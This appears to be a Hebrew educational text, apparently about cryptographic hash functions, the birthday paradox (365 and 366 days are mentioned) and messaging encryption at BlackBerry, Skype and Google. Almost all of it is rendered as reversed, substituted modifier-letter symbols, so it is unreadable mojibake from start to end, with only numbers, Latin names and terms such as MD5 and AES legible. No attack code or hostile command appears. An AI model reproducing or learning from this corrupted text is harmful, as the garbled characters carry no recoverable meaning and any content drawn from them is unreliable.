"˨ˣ˲ˢ˪ "˭ˣ˸ˮ ˦˪˲ ˭˸ˮ˧ˢ˟ ˧˶˷˲˞ ˦˪˵ ˞ˣ˴ˬ˪ ˣ˷ˣ˶˧˲ ˢ˧˴˵ˮˣ˲ .˪˷ˬ˪ ,ˢ˷˩˧˞ ˞ˣ˴ˬ˪ ˢ˴ˣ˶ ˧˸˧˧ˢ ˦˪˵ ˣ

 ˦˪˲ˢ ˸˞ ˞˧˴ˣ˧˷ ˧˪˷ ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲˪0 . ˵ˣ˧ˡ˟ ˰ˡˣ˧ ˧ˮ˞ ˫˞ ˫ˠ˷ ˣˤ˩ ˢ˧ˢ˸ ˢ˟ˣ˦ ˸ˣ˴ˬ˸ ˸˧˴˵ˮˣ˲

˸ˡ˟ˣ˰ ˞˧ˢ ˨˧˞ , ˢˤ˩ ˦˪˵ ˞ˣ˴ˬ˪ ˡˣ˞ˬ ˧˪ ˢ˷˵ ˭˧˧ˡ˰ ˢˤ- ˢˣˣ˵˸˟ , ˶˸ˣ˧ ˫˩˥ ˶˟ˡ ˫ˣ˷ ˧˪ ˢ˧ˢ˧ ˞˪

 ˦˪˲ˢ ˞˴˧˷ ˪˪˲˸ˢ˪ˣ ˫˧˩˶˰ ˡˣ˰ˣ ˡˣ˰ ˢ˧˴˵ˮˣ˲˪ ˭˧ˤˢ˪ ˡ˟˪ˬ ˣ˸ˣ˷˰˪0 )˪˲ˢ ˭˩˞ ˫˞ˣ ˫˧ˠ˪˲˸ˬ ˫˧˦

˧˞˶˵˞ ˢ˞˶ˮ˷ ˭˲ˣ˞˟ , ˟˶ ˭ˬˤ ˧˪ ˥˵˧˧ ˢˤ- ˢ ˸ˣ˟˧˟˯˟-  ˥˧˪˴˞˷ ˧ˮ˲˪ ˸ˣˮˣ˧˯ˮ- ˢ˟˶ˢ , ˶˸ˣ˧ ˢ˟˶ˢ

˫ˣ˵˧ˢ ˸˧˷˞˶ ˤ˞ˬ ˣ˲˪˥˷ ˸ˣ˧ˮ˷ˢ ˶˲˯ˬˬ .(˭˩ˣ˯ˬ ˢˤ ˢˬ˪ ?˭˩˟ˣ , ˸˦˧˷˟ ˧ˢ˷˪˩ ˢ˷˪ˣ˥ ˧˸˧ˢ˧ˤ˷ ˥˧ˮˮ

˱ˣ˵˸˪ ˢ˴ˣ˶ ˧ˮ˞˷ ˢˬ˧˸˥ˢ , ˢˬ˧˸˥ˢ˷ ˸˷˶ˣˡ ˣˤˢ ˢ˷˪ˣ˥ˢ ˢ˸ˣ˞ ˪˴ˮ˪ ˧ˡ˩ ˪˟˞ ˫˰ ˸ˣ˧˴ˬ˸ ˪˰ ˢ˧ˢ˸

ˡˣ˞ˬ ˸ˣˮˣ˩˸ , ˸ˣ˧˲˧˴˲˯ ˡˣ˞ˬ) ˧ˬ˧˦˧ˠ˪ ˣˢ˷ˬ ˪˰ ˫˧ˬ˸ˣ˥˷˩ ˣ˰˧˲ˣ˧ ˭ˢ˷ ˧ˣ˩˧˯ˢ ˪˰ˣ˲˟˷ ˡ˰ ˸ˣ˧˲˧˴˲˯ ˢ˩

˧˯˲˞ ˞ˣˢ .(˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲ ˸˞ ˨ˣ˲ˢ˪ ˪˩ˣ˞ ˫˞ , ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲ ˪˷ ˦˪˲ˢ˷ ˢˤ˩ ˦˪˵ ˶˴˧˧˪ ˪˩ˣ˞

 ˣ˧˪˰)˭˩˪ˣ ,˪˰ˣ˲˟ ˫˸˥ˮ˷ ˢˬ (ˤ ˶˴˧˧˪ ˧˪ ˶˷˲˞ˬ˷ ˢˬ ˵ˣ˧ˡ˟ ˞ˣˢ˱ˣ˧. 

 ˢ˞˶˧˧ ˢˤˢ ˦˪˵ˢ ˵ˣ˧ˡ˟ ˨˧˞ ˪ˣ˞˷˪ ˶˷˲˞˷ ˭˟ˣˬ˩- ˠ ˣˬ˩ ˢ˞˶˧˧ ˞ˣˢ ˢ˞˶ˮˢ ˪˩˩ ˧˶ˢ' ˞˪ˣ ˦˪˥ˣˬ ˷˧˶˟˧

ˢ˲˧ ˦˯˵˦ ˸˰ˡˣˢ ˣˬ˩ .ˢ˧˰˟ˢ ˢˬ ˤ˞ ?ˠ ˪˰ ˢˬ˧˸˥ ˞ˣ˴ˬ˪ ˫˧˲˴ˬ ˫˧ˬ˰˲˪˷ ˞˧ˢ ˢ˧˰˟ˢ'˦˪˥ˣˬ ˷˧˶˟˧ .

˫˧˧˟ˬˣ˲ ˢˮ˲˴ˢ ˸ˣ˥˸˲ˬ ˪˰ ˫˧ˬ˸ˣ˥ ˶˷˞˩ ,ˠ ˢ˧ˢ˧ ˢˮ˲˴ˢˢ ˥˸˲ˬ˷ ˫˧˲˴ˬ'˷˧˶˟˧ .˷˧ˣ  ˸ˣ˧˴˞ˣ˦˧˯ ˡˣ˰

ˠ ˭ˢ˟˷'˨˶˲ˣˬ ˢ˞˶ˮ ˞˪ ˷˧˶˟˧ .˭˟ˣˬ˩ , ˞˪ ˣˮ˪˷ ˫˧˪ˣ˵ˣ˦ˣ˶˲˟˷ ˞˧ˢ ˣˤˢ ˢ˧˰˟ˢ ˫˰ ˸ˣˡˡˣˬ˸ˢˢˬ ˵˪˥

ˠ ˭ˢ˷ ˸ˣ˰ˡˣˢ˪ ˫ˣ˵ˬ ˢ˧ˢ˧'˞˪ ˟˧˩˶ ˸ˣ˧ˢ˪ ˟˧˧˥ ˡ˧ˬ˸ˣ ˦˪˥ˣˬ ˷˧˶˟˧-ɣ'˭ˢ˟ ˧˷˧˶˟˧ , ˶˟˩ ˣˮ˥ˮ˞ ˭˞˩ ˪˟˞

ˡˠˮˢ ˸˲˵˸ˬ˪ ˡˠˮˢ ˸˲˵˸ˬ˪ ˡˠˮˢ ˸˲˵˸ˬ ˪˰ ˭ˣ˧ˡ˪ ˫˧˷˪ˣˠ. 
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" ˞ˣ˴ˬ˪˸ˣ˷ˠˮ˸ˢ " ˦˪˲ˢ ˣ˸ˣ˞˪ ˫˧˸˴ˬˣ˸ˬ˷ ˫˧˦˪˵ ˧ˮ˷ ˭˧˞ˬ ˷˧ ˶˴˧˧˪ ˣ˷ˣ˶˧˲-  ˟ˣ˷˥ ˞˪ ˭˞˩ ˶˷˞˩

 ˦˪˲ˢ)˶ˬˣ˪˩ ,ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˨ˣ˲ˢ˪ ˫˧˯ˮˬ ˞˪ ˣˮ˥ˮ˞ (˫˧˦˪˵ˢ ˧ˮ˷ ˶ˣ˟˰ ˢˢˤ ˞ˣˢ˷ ˵˶ ˞˪˞ . ˨˶ˡ

 ˶˴˧˧˪ ˞˧ˢ ˸˞ˤ ˸ˣ˷˰˪ ˸˥˞ ˢ˦ˣ˷˲+1  ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲ ˶ˣ˟˰˷ ˧˪ ˥˦˟ˣˬ ˤ˞ˣ ˫˧˧˞˶˵˞ ˫˧˦˪˵

 ˧˪˷)˸ ˢ˟˷ ˪ˡˣˠˬ ˞˧ˢ ˸˧˴ˬ ˫˧˦˧˟ ( ˸ˣ˥˲˪ ˸˥˞ ˸ˣ˷ˠˮ˸ˢ ˢ˧ˢ˸-  ˣˢˤ"˫˧ˮˣ˧ˢ ˨˟ˣ˷ ˭ˣ˶˵˰ "

˧˦ˬ˸ˬˢ .ˢˬ ˵˶ , ˢ˟˶ˢ ˢˤ ,ˢˬ˴˰ ˧ˮ˲˟ ˢ˟˶ˢ ˢˣˣ˷ ˞˪ ˣˤˢ ˢ˦˧˷ˢ˷ ˨˩ .˶˶˟˸ˬ˷ ˞˪˞ , ˭˲ˣ˞˟

˰˧˸˲ˬ ˧˪ˣ˞ ,˸ˣ˷ˠˮ˸ˢ˪ ˶˧˟˯ ˧ˣ˩˧˯ ˢ˧ˢ˧˷ ˧ˡ˩ ˫˧˦˪˵ ˢ˟˶ˢ ˨˩ ˧ˡ˩ ˡ˰ ˶˴˧˧˪ ˨˧˶˴ ˞˪˷ , ˸˞ˤ ˶˞˸˞ˣ

˪ˮ˞ˢ ˸ˣ˰˴ˬ˞˟ ˸˪˟ˣ˵ˬˢ ˢ˧ˠˣ- ˸ˡ˪ˣˢ ˧ˬ˧. 

 ˸ˣ˴ˬ˸ ˸˧˴˵ˮˣ˲ ˪˰˩ ˸ˡ˪ˣˢ ˧ˬ˧ ˪˰ ˟ˣ˷˥˪ ˶˷˲˞)ˢ˰ˣ˶ˠ (-  ˫ˣ˧ ˨˧˶˞˸ ˞ˣˢ˷ ˶˲˯ˬ ˫˧ˬ˧˞˸ˬ ˫ˡ˞ ˪˩˪

ˣ˪˷ ˧˸ˮ˷ˢ ˸ˡ˪ˣˢˢ .˟ ˣˡ˪ˣˮ ˞˪ ˫˧˷ˮ˞˷ ˫˧˥˧ˮˬ ˫˞-29 )˟ ˣ˞-30 (˶˞ˣ˶˟˲˟ , ˣˮ˪ ˷˧365 ˸ˣ˧ˣ˶˷˲˞ .

 ˪˷ ˢ˴ˣ˟˵ ˣˮ˪ ˷˧ ˫˞˷ ˞ˣˢ ˫ˡˣ˵ ˧˸˶ˬ˞˷ ˢˬ366 ˫˧˷ˮ˞ ,˟ˣˬ ˣ˸ˣ˞ ˷˧ ˫ˢˬ ˫˧˧ˮ˷˪ ˸ˣ˥˲˪˷ ˣˮ˪ ˥˦

 ˸ˡ˪ˣˢ ˫ˣ˧- ˫˧˷ˮ˞ ˪˷ ˸˧˯˥˧ ˢ˪ˣˡˠ ˸ˣˬ˩ ˣˤ ˪˟˞ ; ˪˰ ˫˧˶˸ˣˣˬ ˣˮ˥ˮ˞ ˫˞ ˢ˶ˣ˵ ˢˬ ˢ˪˞˷ˢ ˸˪˞˷ˮ

 ˢ˰˶ ˞˪ ˸ˣ˶˟˸˯ˢ˟˷ ˢ˷˧˶ˡ˟ ˫˧˵˲˸˯ˬˣ ˸ˡ˪ˣˢ ˫ˣ˧ ˣ˸ˣ˞ ˧˪˰˟ ˫˧˷ˮ˞ ˧ˮ˷ ˣˮ˪ ˣ˧ˢ˧ ˸ˣ˞ˡˣ˟˷ ˢ˷˧˶ˡˢ

 ˸ˡ˪ˣˢ ˫ˣ˧ ˣ˸ˣ˞ ˫˰ ˫˧˧ˮ˷ ˣ˧ˢ˧- ˥˧ˮˮ ,˴˥ ˪˷ ˸ˣ˶˟˸˯ˢ˧ ? ˭˲ˣ˞˟ ˫˧ˠ˪˲˸ˬ ˸ˡ˪ˣˢˢ ˧ˬ˧˷ ˫˧˥˧ˮˬ ˫˞

 ˡ˧˥˞)˸ˣ˞˧˴ˬ˟ ˢˮˣ˩ˮ ˢˮ˧˞˷ ˢ˥ˮˢ ,˞˪˧ˬ ˪˟˞ (ˢ˟˶ˢ ˨˧˶˴˷ ˶˶˟˸ˬ , ˫˧˷ˮ˞ ˸ˣ˥˲ ˢ˟˶ˢ-  ˵˶23 .

 ˸ˣ˶˥˞ ˫˧˪˧ˬ˟- ˸ˡ˪ˣˢ ˫ˣ˧ ˣ˸ˣ˞ ˫˰ ˫˧ˡ˧ˬ˪˸ ˧ˮ˷ ˷˧˷ ˧˴˥ˬ ˪ˣˡˠ ˧ˣ˩˧˯ ˷˧ ˶˲˯ ˸˧˟˟ ˢ˸˧˩ ˪˩˟ , ˶ˬˣ˪˩

 ˣˮˬ˴˰ ˸˞ ˪˞˷ˮˣ ˶˲˯ ˸˧˟ ˥˵˧ˮ ˫˞"ˢˬ ˢˬ˩˟˸ˡ˪ˣˢ ˫ˣ˧ ˣ˸ˣ˞ ˫˰ ˫˧ˡ˧ˬ˪˸ ˧ˮ˷ ˷˧ ˸ˣ˸˧˩? " ˪˩˩

 ˢ˶ˣ˵ ˢˤ ˸ˣ˸˧˩ˢˬ ˧˴˥˟ ˨˶˰˟˷ ˢ˪ˠˮ ˢ˞˶ˮˢ) ˪˩ˣ˞ ˧ˮ˞ ˪˷˩˧˧ ˞ˣˢˣ ˢˤˢ ˧ˣ˯˧ˮˢ ˸˞ ˣ˷˰˸ ˫˞˷ ˭˟ˣˬ˩

ˢ ˸˞ ˷˧˷ ˭ˣ˰˦˪ˣ ˵ˬ˥˸ˢ˪-29 ˶˞ˣ˶˟˲˟ ,ˡ˧˥˞ ˫˧ˠ˪˲˸ˬ ˞˪ ˸ˡ˪ˣˢ ˧ˬ˧ˣ , ˭˧˟ ˶˷˵˪ ˡˣ˞ˬ ˭˩ˣ˯ˬ˷ ˪˪˩˟ˣ

˧˸˧ˬ˞ˢ ˫˪ˣ˰ˢˣ ˢ˵˧˦ˬ˸ˬ.( 

ˢ ˸˧˪ˬ˶ˣ˲ ˸˞˶˵ˮ ˣˤˢ ˢ˞˴ˣ˸"˸ˡ˪ˣˢˢ ˫ˣ˧ ˯˵ˣˡ˶˲ " ˫˰ ˸˧˴ˬ˸ ˣˮ˪ ˷˧ ˫˞˷ ˸˶ˬˣ˞ ˞˧ˢˣN  ˸ˣ˞˴ˣ˸

˸ˣ˧˶˷˲˞ , ˨˶˰˟ ˣˮ˪ ˣ˧ˢ˧˷ ˵˧˲˯ˬ ˤ˞ ˸ˣ˷ˠˮ˸ˢ˪ ˢ˟ˣ˦ ˸ˣ˶˟˸˯ˢ ˢ˧ˢ˸˷ ˧ˡ˩ ˫˧˦˪˵ . ˧ˡ˩ ˭˩˪

 ˵˶ ˶˴˧˧˪ ˧˪ ˵˧˲˯ˬ ˫ˡˣ˵ ˧˸˶˞˧˸˷ ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲˪ ˸ˣ˷ˠˮ˸ˢ ˞ˣ˴ˬ˪ ˫˧˶˟˧˞ . ˶˧ˡ˞ ˶˲˯ˬ ˢˤ ˫ˠ

˧ˡˬ˪ ,ˤ ˪˟˞˧˶˵ˬ ˞˪ ˢ :˸ˣ˴ˬ˸ ˸ˣ˧˴˵ˮˣ˲ ˭ˣˮ˩˸˟ ˫˧˪ˣ˵˧˷ˢˬ ˡ˥˞ ˞ˣˢ ˸ˡ˪ˣˢˢ ˫ˣ˧ ˯˵ˣˡ˶˲ , ˨˩˟ ˦˶˲˟ˣ

 ˧ˡˬ˪ ˪ˣˡˠ ˸ˣ˧ˢ˪ ˸ˣ˴ˬ˸ˢ ˟˥˶ˬ ˸˞ ˫˧˶˥ˣ˟˷)˯˥˧˟ ,˥˧ˮˮ , ˫˧˷ˬ˸˷ˬ ˣ˟˷ ˸ˣ˥˸˲ˬˢ ˟˥˶ˬ˪

 ˣˬ˩ ˸ˣ˧˶˦ˬ˧˯ ˸ˣˮ˲˴ˢ˟AES.( 

ˢˬˠˣˡ ˸ˣ˰˴ˬ˞˟ ˶˞˸˪ ˪˵ ˸ˣ˧ˣ˷ˠˮ˸ˢ ˸˞˧˴ˬ˟˷ ˢˮ˩˯ˢ ˸˞ :˶˴˧˧˪ ˥˧˪˴ˬ ˧ˮ˞˷ ˥˧ˮˮ ˸ˣ˰ˡˣˢ ˧˸˷ ,

 ˸˶ˬˣ˞ ˸˥˞ˢ" ˨˪ ˟˧˧˥ ˧ˮ˞10 ˷"˥ " ˸˶ˬˣ˞ ˢ˧ˮ˷ˢˣ" ˨˪ ˟˧˧˥ ˧ˮ˞1,000,000 ˷"˥ " ˢ˸ˣ˞ ˭ˢ˧˸˷˪˷

 ˢˮˣ˷˞˶ˢ ˢ˰ˡˣˢˢ ˪˰ ˫ˣ˸˥˪ ˫˩˪ ˫˶ˣˠ ˧ˮ˞ˣ ˸˧˴ˬ˸-  ˢˬ˧˸˥ ˧˸˶˴˧ ˨˩˟)˭˧˦ˣ˪˥˪ ˸˧˵ˣ˥ ( ˪˰ ˫ˠ ˫˩˪˷

ˢ˧ˮ˷ˢ ˢ˰ˡˣˢˢ !˸˧˟˧˞ˮ ˢ˷˥ˬˢ ˵˶ ˣˤ˷ ˭˟ˣˬ˩ ;˴ˮ˪ ˢ˟˶ˢ˟ ˸ˣˬ˩˥ˣ˸ˬ ˫˧˩˶ˡ ˷˧ ˫˧˦˪˵ ˧ˮ˷ ˪

˨˶˰ˢ ˣ˸ˣ˞˪ ˫˧˸˴ˬˣ˸ˬ˷. 

"ˢ˧˧ˮ˷ ˢˮˣˬ˸ ˸˞˧˴ˬ "˸ˣ˷ˠˮ˸ˢ ˸˞˧˴ˬ˪ ˫ˠˣ ˨ˣ˲˧ˢ˪ ˫ˠ ˸˧ˮˣ˧˰˶ ˢˢˤ ˭ˣ˷˞˶ ˦˟ˬ˟ ˸˧˞˶ˮ . ˢ˷ˣ˶˧˲

 ˦˪˵ ˭˸ˮ˧ˢ˟˷x ˫˧˧ˣ˯ˬ , ˦˪˵ ˣ˶ˣ˟˰ ˞ˣ˴ˬ˪ ˪˩ˣˮy ˶˟ˡ ˣ˸ˣ˞˪ ˸˴ˬˣ˸ˬ˷ . ˸˞˧˴ˬ ˣ˞ ˨ˣ˲˧ˢ ˵ˣ˧ˡ˟ ˞˪ ˢˤ

˸ˣ˷ˠˮ˸ˢ , ˪˰ ˢ˦˧˪˷ ˣˮ˪ ˭˧˞ ˭˩˷x - ˮˣ ˰ˣ˟˵ ˞ˣˢ˭ˣ˸ , ˫˰ ˵˶ ˵˥˷˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ˣy . ˧˩ˢ˷ ˢ˲˵˸ˢˢ ˣˤ

 ˢ˪˥˸ˢ˟ ˣ˧˪˰ ˧˸˶˟˧ˡ˷ ˢˬ ˸˞ ˢ˶˧˩ˤˬ-  ˢˤˢ ˢ˶˵ˬ˟x ˭ˣˤˬ˞ ˪˷ ˧˵ˣ˥ˢ ˶ˣ˷˧˞ˢ ˞ˣˢ , ˶˴˧˧˪ ˢ˴ˣ˶ ˧ˮ˞ˣ

˧ˬ˴˰ ˶ˣ˟˰ ˱˧˧ˣˤˬ ˶ˣ˷˧˞ ,y , ˪˷ ˣˤ˪ ˢˢˤ ˢ˧ˢ˸ ˣ˪˷ ˸˧˴ˬ˸ˢ˷x , ˪˰ ˸ˬ˧˧˵ˢ ˢˬ˧˸˥ˢ ˭˩˪ˣx  ˢ˧ˢ˸

 ˶ˣ˟˰ ˫ˠ ˸˧˵ˣ˥ ˢˬ˧˸˥y ˧˪˷. 
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˩ ˫˞ ˭,˸ˣ˴ˬ˸ ˸˧˴˵ˮˣ˲ˬ ˣˮ˪˷ ˸ˣ˷˧˶ˡˢ ˣ˪˞ .ˣ˪˪ˢ ˸ˣ˷˧˶ˡ˟ ˸ˣˡˬˣ˰˷ ˸ˣ˧˴˵ˮˣ˲ ˪˪˩˟ ˸ˣˬ˧˧˵ ˫˞ˢ ?

 ˞˧ˢ ˢ˟ˣ˷˸ˢ"˭˩ ,˞˪ ,˫˧˰ˡˣ˧ ˞˪ ˣˮ˥ˮ˞ˣ ."˭˩ , ˫˧˷ˬ˸˷ˬ ˭ˢ˟˷ ˶˸ˣ˧˟ ˸ˣˬˡ˵˸ˬˢ ˸ˣ˧˴˵ˮˣ˲ˢ˷ ˪˪ˠ˟

 ˣ˴˶˲ˮ ˞˪ ˭˧˧ˡ˰ ˫ˣ˧˩- ˣ˪˞ ˸ˣˮˣ˩˸ˬ ˸˥˞ ˸˶˟˷ˮ ˢ˟˷ ˢ˲˵˸ˢ ˢˠ˴ˣˢ ˞˪ ˭˧˧ˡ˰ ;˞˪ ,˧˴˵ˮˣ˲˷ ˪˪ˠ˟ ˸ˣ

 ˣ˶˟˷ˮ ˭˩ ˸ˣ˟˶ ˸ˣ˴ˬ˸- ˸ˣ˧ˣ˷ˠˮ˸ˢ ˸˞˧˴ˬ ˡ˧ˬ˸ ˦˰ˬ˩ ˞˧ˢ ˶ˣ˟˷˪ ˫˧˥˧˪˴ˬ ˢ˸ˣ˞˷ ˢˮˣ˩˸ˢ , ˸ˣ˧˴˵ˮˣ˲ˣ

ˣˤˢ ˢˮ˧˥˟ˢˬ ˸ˣ˥ˣ˦˟ ˞˪ ˭˧˦ˣ˪˥˪ ˶˟˩ ˭ˢ ˫ˣ˧˩ ˭ˢ˟ ˫˧˷ˬ˸˷ˬ ˭˧˧ˡ˰˷ ˸ˣ˟˶ ˸ˣ˴ˬ˸ . ˸˦˪ˣ˟ˢ ˢˬˠˣˡˢ

 ˢ˧˴˵ˮˣ˲ˢ ˞˧ˢ ˶˸ˣ˧˟MD5 ˬˮ˷ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˧˦˵˶˲ ˭˲ˣ˞˟ ˧˩ ˫ˠˡˣˢ ˶˟˩ ˨˞ ˡˣ˞ˬ ˟˥˶ˮ ˷ˣˬ˧˷˟ ˸˞˴

˫˧˶ˣ˷˧˞ ˱˧˧ˤ˪ ˧ˡ˩ ˢ˪˷ ˸ˣ˷˪ˣ˥ˢ . ˶ˣ˴˧˵˟-  ˢ˟ˣ˷˥ ˡˣ˞ˬ ˞˧ˢ ˢ˥ˣ˦˟ˣ ˸˧ˮ˩ˡ˰ ˸ˣ˴ˬ˸ˢ ˸˧˴˵ˮˣ˲ ˸˶˧˥˟

˫ˣ˧˩ ˣ˟ ˫˧˷ˬ˸˷ˬ ˫˪ˣ˩˷ ˢˬ ˪˰ ˨ˬ˸˯ˢ˪ ˫˸˯ ˭˸˧ˮ ˞˪ˣ. 

-s"˫˧˰ˡˣ˧ ˞˪ ˣˮ˥ˮ˞ " ˢ˧˶ˣ˞˧˸ˢ ˭˧˟ ˷˧˷ ˪ˣˡˠˢ ˶˰˲˪ ˯˥˧˧˸ˬˢ˧˲˶ˠˣ˦˲˧˶˵ˢ ˫ˣ˥˸˟ ˢ˵˧˦˵˶˲˪ . ˶˷˞˩

ˢ˧˶ˣ˞˧˸˪ ˫˧˶˟ˣ˰ , ˪˷ ˫˧˧˲˶ˣˬ˞ˢ ˫˧ˠ˷ˣˬ˪ ˸ˣ˵˧˧ˣˡˬ ˸ˣ˧˦ˬ˸ˬ ˸ˣ˶ˡˠˢ ˷˧"˧˞˶˵˞ ˦˪˲ ˨ˣ˲ˢ˪ ˢ˷˵" 

)ˢ˷˵ ˢˤ ˢˬ ?ˣ˸ˣ˞ ˫˧ˡˡˣˬ ˨˧˞ ?˦˪˲ˢ ˪˷ ˸ˣ˧˞˶˵˞ˢ ˢ˰˧˲˷ˬ ˨˧˞( , ˣ˪˪ˢ ˸ˣ˶˧ˬ˥ˬˢ ˸ˣ˶ˡˠˢˢ ˸˥˸ˣ

˞ ˭ˢ˧˪˰ ˢˮˣ˰˷ ˢ˧˴˵ˮˣ˲ ˸ˬ˧˧˵ ˪˪˩˟ ˫˞ ˶ˣ˶˟ ˞˪ ˭˧˧ˡ˰˞˪ ˣ .ˢ˷˰ˬ˪ , ˢ˧ˢ˸ ˫˞˷ ˸ˣ˞˶ˢ˪ ˧ˡˬ˪ ˦ˣ˷˲

 ˢ˟ˣ˦ ˸ˣ˴ˬ˸ ˸˧˴˵ˮˣ˲ ˪˷ ˫ˣ˧˵˪ ˸˧˦ˬ˸ˬ ˢ˥˩ˣˢ) ˨˩ˬ ˸ˣ˥˲ ˱˞ ˣ˞-  ˸˞ ˸ˬ˧˧˵ˬ˷ ˢ˧˴˵ˮˣ˲ ˫˸˯

 ˨ˣ˲˧ˢˢ ˧˷ˣ˵ ˸ˮˣ˩˸-  ˞˶˵ˮ˷ ˢˬ"ˡ˥ ˢ˧˴˵ˮˣ˲-˸˧ˮˣˣ˧˩ (" ˢ˥ˣ˸˲ˢ ˢ˪˞˷ˢ ˸˞ ˡ˧˧ˬ ˶ˣ˸˲˧ ˶˟ˡˢ

 ˟˷˥ˬˢ ˧˰ˡˬ˟ ˸˧ˤ˩˶ˬˢ-  ˫˞ˢ ˢ˪˞˷ˢ )ˣ˵˧˯˪ ˢ˧ˣ˞˶˷ ˢ˪˞˷ˡ˶˲ˮ ˶ (-  ˢ˧ˢ˸ ˢ˟ˣ˷˸ˢˣ"˞˪ "

 ˫˰ˣ˶) ˫˞ ˭˩˷ ˟˷˥˪ ˪˵˷ ˢ˧˴˵ˮˣ˲ ˪˩ ˸ˣ˪˵˟ ˨ˣ˲ˢ˪ ˭˸˧ˮ ˤ˞.( 

˭˩ ˫˞ , ˭ˢ˧˪˞ ˶ˣ˷˵ˢ ˪˩˟ˣ ˧˦˶ˣ˞˧˸ˢ ˦˟˧ˢˢˬ ˫ˠˣ ˧˷˰ˬˢ ˦˟˧ˢˢˬ ˫ˠ ˸ˣˮ˧˧ˮ˰ˬ ˸ˣ˴ˬ˸ ˸ˣ˧˴˵ˮˣ˲-  ˣˬ˩

 ˟˷˥ˬˢ ˧˰ˡˬ˟ ˫˧˞˷ˣˮˢ ˟ˣ˶˟- ˧ˣ˪ˠˢ ˪˰ ˶˸˯ˮˢ ˟˶ ˭˧˧ˡ˰ . 
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 ˶ˣ˯ˬ˪ ˫ˡ˞ ˥˧˶˩ˢ˪ ˭˸˧ˮ ˫˞ˢˢˮ˲˴ˢ ˸ˣ˥˸˲ˬ 
˸˞ˬ x˰"˶ˠˮ˧˪˵ ˭˸ˮˣˢ˧ ˡ 

 

ˢˬˡ˵ˢ 

 

˯ ˸˞ ˶ˣ˯ˬ˪ ˫ˡ˞ ˟˧˧˥˪ ˭˸˧ˮ ˫˞ˢ˧ ˣ˞ ˣ˪˷ ˟˷˥ˬˢ ˸˞ˬ˯ ˸˞ˢˢˬ˯˧˯  ˥˧˷˵ ˭ˮˣ˩ ˢˮ˧˲˴ˬ˷

˧˥˶ˤ˞ ˨˧˪ˢ ˸˶ˠ˯ˬ˟ ˣ˞ ˸˧˪˧˪˲ ˢ˶˧˵˥ ˸˶ˠ˯ˬ˟? xˤ ,ˢ˶˴˵˟ , ˶˸ˣ˧ ˸ˣˮ˧˧ˮ˰ˬˢ ˸ˣ˪˞˷ˢ ˸˥˞

˸˧˟˧˯˯˟ˣ˞ ˢ˶ˣ˴˟ ˢˮˬˬ ˰ˮˬˢ˪ ˸ˣ˯ˮˬ ˢ˲˧˩˞ˢ ˸ˣ˧ˣ˷˶˷ .˟˧˯ˢ ˸˥˞ ˞˧ˢ ˣˤ ˢ˪˞˷ˬ ˸ˣ˰ˮˬˢ˪ ˸ˣ˫ˣ˷ˬ 

˸ˣ˲˧ˡ˰ˬ ˭ˣ˦˪˷ˢ ˸ˣ˧ˣ˷˶˷ ,˸˶˥˞ ˦˧˪˥˧ ˦˲˷ˬ ˸˧˟˷ ˡ˰ , ˸˞ ˱ˣ˵˰˪ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˫˧˩˶ˡ ˸ˣ˴ˬ˪ ˸ˣ˯ˮ˪

 ˫ˡ˞ ˷˧ˠ˶ˬ˷ ˸˧˯˥˧ˢ ˸ˣ˧˦˶˲ˢ ˸˷ˠ˶ˢˢˣˬ˩ ˫˧˧ˮˣ˶˦˵˪˞ ˫˧˸ˣ˶˧˷˟ ˷ˬ˸˷ˬ  ˸˶ˣ˷˵˸ˢ ˸ˮ˲˴ˢ ˸ˣ˶˧˷

˷ ˪BlackBerry, ˷˪˷ ˸ˣˮ˲˴ˣˬ ˸ˣ˥˧ ˸ˮ˩˸ Skype ˪˷ ˧ˮˣ˶˦˵˪˞ˢ ˶˞ˣˡˢ ˧˸ˣ˶˧˷ˣ Google . ˨˶ˣ˴˪

˭˧ˮ˰ˢ ,˪˷ ˪˧ˠ˶ˢ ˫˧˵˯˰ˢ ˨˪ˢˬ˟ˣˮ ,˯ ˫˧˵˧ˤ˥ˬ˷ ˧˷˧˪˷ ˡ˴ ˧˸ˣ˶˧˷ ˸ˣ˶˷˰ ˪˰ ˫˧˩ˬˣ˯ ˣˮ˞˧ˣˮ˪˷ ˸ˣ˞ˬ˯ ,

ˣˮ˪˷ ˢ˩ˣ˶˞ˢ ˡ˧ˢ ˸˞ ˫˧ˣˣˢˬˣ ˸ˮ˲˴ˣˬˣ ˸˥˦˟ˣ˞ˬ ˸˶ˣ˷˵˸ ˣˮ˶ˣ˟˰ ˫˧˪ˢˮˬ. 

˸˧˷˞˶ ,˪˪˩ˢ ˣˢˬ ˭˧˟ˢ˪ ˨˧˶˴ :˨˪˷ ˰ˡ˧ˬˢ ,˧˷˧˪˷ ˡ˴ ˧ˡ˧ ˪˰ ˫˞ ˭˧˟ˣ ˨ˡ˧ ˪˰ ˵ˤ˥ˣˬ ˞ˣˢ ˫˞ ˭˧˟ , ˟˷˥ˮ

ˢ ˸˞ ˷˧ ˧ˬ˪ ˰˟ˣ˵ ˢ˸˞˷ ˨˪˷ ˧˦˶˲ ˰ˡ˧ˬˣ˧˪˞ ˢ˷˧ˠ . ˢˣˣˢˬ ˫ˡ˞ ˪˷ ˟˷˥ˬ ˧˴˟˵˪ ˸˧˷˶ˣˬ ˞˪ ˢ˷˧ˠ

˸˧˪˧˪˲ ˢ˶˧˟˰ :˫˧˟˷˥ˬˢ ˵ˣ˥  ˧˩ ˰˟ˣ˵"˟˷˥ˬ˟ ˞˴ˬˮˢ ˟˷˥ˬ ˶ˬˣ˥˪ ˭˧ˡ˩ ˞˪˷ ˶ˡˣ˥ˢ , ˶˯˞ˬ ˣˮ˧ˡ
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ˢ˥˦˟˞ .˧˥˶ˤˬ ˧˟˞ ˸˷˶˲˟ ,˧˩ ˦˲˷ˬˢ ˸˧˟ ˭˧˧˴: " ˶ˡˣ˥ˢ ˧˷˰ˬ˪ ˷˷ ˣˮˮ˧˞ ˟˷˥ˬ ˪˰˟˷ ˢˡ˟ˣ˰ˢ ˫˴˰

